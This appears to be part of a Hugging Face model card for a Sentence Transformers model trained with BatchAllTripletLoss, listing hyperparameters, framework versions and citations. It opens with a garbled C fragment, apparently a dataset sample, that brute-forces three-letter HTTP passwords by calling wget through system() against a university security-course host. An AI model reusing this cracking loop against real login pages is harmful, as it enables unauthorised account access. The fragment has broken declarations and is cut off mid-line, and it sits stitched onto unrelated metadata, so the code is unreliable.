char username[]="";
int R_VALUE;
double time_used;
clock_t ,end;
=clock();
for (i = 65; i <= 122; i++)
{
if(i==91) {i=97;}
for (j = 65; j <= 122; j++)
{
if(j==91) {j=97;}
for (k = 65; k <= 122; k++)
{
if(k==91) {k=97;}
pass[0] = i;
pass[1] = j;
pass[2] = k;
sprintf(password,"%c%c%c",pass[0],pass[1],pass[2]);
cntr++;
printf("%d )%s\n\n", cntr, password);
sprintf(get,"wget --non-verbose --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,password);
R_VALUE=system(get);
if(R_VALUE==0)
{
printf("The Password has been cracked and it is : %s" , password);
...0
- Loss:
BatchAllTripletLoss
Training Hyperparameters
Non-Default Hyperparameters
per_device_train_batch_size
: 16per_device_eval_batch_size
: 16num_train_epochs
: 1fp16
: Truemulti_dataset_batch_sampler
: round_robin
All Hyperparameters
Click to expand
overwrite_output_dir
: Falsedo_predict
: Falseeval_strategy
: noprediction_loss_only
: Trueper_device_train_batch_size
: 16per_device_eval_batch_size
: 16per_gpu_train_batch_size
: Noneper_gpu_eval_batch_size
: Nonegradient_accumulation_steps
: 1eval_accumulation_steps
: Nonetorch_empty_cache_steps
: Nonelearning_rate
: 5e-05weight_decay
: 0.0adam_beta1
: 0.9adam_beta2
: 0.999adam_epsilon
: 1e-08max_grad_norm
: 1num_train_epochs
: 1max_steps
: -1lr_scheduler_type
: linearlr_scheduler_kwargs
: {}warmup_ratio
: 0.0warmup_steps
: 0log_level
: passivelog_level_replica
: warninglog_on_each_node
: Truelogging_nan_inf_filter
: Truesave_safetensors
: Truesave_on_each_node
: Falsesave_only_model
: Falserestore_callback_states_from_checkpoint
: Falseno_cuda
: Falseuse_cpu
: Falseuse_mps_device
: Falseseed
: 42data_seed
: Nonejit_mode_eval
: Falseuse_ipex
: Falsebf16
: Falsefp16
: Truefp16_opt_level
: O1half_precision_backend
: autobf16_full_eval
: Falsefp16_full_eval
: Falsetf32
: Nonelocal_rank
: 0ddp_backend
: Nonetpu_num_cores
: Nonetpu_metrics_debug
: Falsedebug
: []dataloader_drop_last
: Falsedataloader_num_workers
: 0dataloader_prefetch_factor
: Nonepast_index
: -1disable_tqdm
: Falseremove_unused_columns
: Truelabel_names
: Noneload_best_model_at_end
: Falseignore_data_skip
: Falsefsdp
: []fsdp_min_num_params
: 0fsdp_config
: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}fsdp_transformer_layer_cls_to_wrap
: Noneaccelerator_config
: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}deepspeed
: Nonelabel_smoothing_factor
: 0.0optim
: adamw_torchoptim_args
: Noneadafactor
: Falsegroup_by_length
: Falselength_column_name
: lengthddp_find_unused_parameters
: Noneddp_bucket_cap_mb
: Noneddp_broadcast_buffers
: Falsedataloader_pin_memory
: Truedataloader_persistent_workers
: Falseskip_memory_metrics
: Trueuse_legacy_prediction_loop
: Falsepush_to_hub
: Falseresume_from_checkpoint
: Nonehub_model_id
: Nonehub_strategy
: every_savehub_private_repo
: Nonehub_always_push
: Falsegradient_checkpointing
: Falsegradient_checkpointing_kwargs
: Noneinclude_inputs_for_metrics
: Falseinclude_for_metrics
: []eval_do_concat_batches
: Truefp16_backend
: autopush_to_hub_model_id
: Nonepush_to_hub_organization
: Nonemp_parameters
:auto_find_batch_size
: Falsefull_determinism
: Falsetorchdynamo
: Noneray_scope
: lastddp_timeout
: 1800torch_compile
: Falsetorch_compile_backend
: Nonetorch_compile_mode
: Noneinclude_tokens_per_second
: Falseinclude_num_input_tokens_seen
: Falseneftune_noise_alpha
: Noneoptim_target_modules
: Nonebatch_eval_metrics
: Falseeval_on_start
: Falseuse_liger_kernel
: Falseeval_use_gather_object
: Falseaverage_tokens_across_devices
: Falseprompts
: Nonebatch_sampler
: batch_samplermulti_dataset_batch_sampler
: round_robinrouter_mapping
: {}learning_rate_mapping
: {}
Framework Versions
- Python: 3.11.13
- Sentence Transformers: 5.0.0
- Transformers: 4.52.4
- PyTorch: 2.6.0+cu124
- Accelerate: 1.8.1
- Datasets: 3.6.0
- Tokenizers: 0.21.2
Citation
BibTeX
Sentence Transformers
@inproceedings{reimers-2019-sentence-bert,
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
author = "Reimers, Nils and Gurevych, Iryna",
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
month = "11",
year = "2019",
publisher = "Association for Computational Linguistics",
url = "https://arxiv.org/abs/1908.10084",
}
BatchAllTripletLoss
@misc{hermans2017defense,
title={In Defense of the Triplet Loss for Person Re-Identification},
author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
year={2017},
eprint={1703.07737},
archivePrefix={arXiv},
primaryClass={cs.CV}
}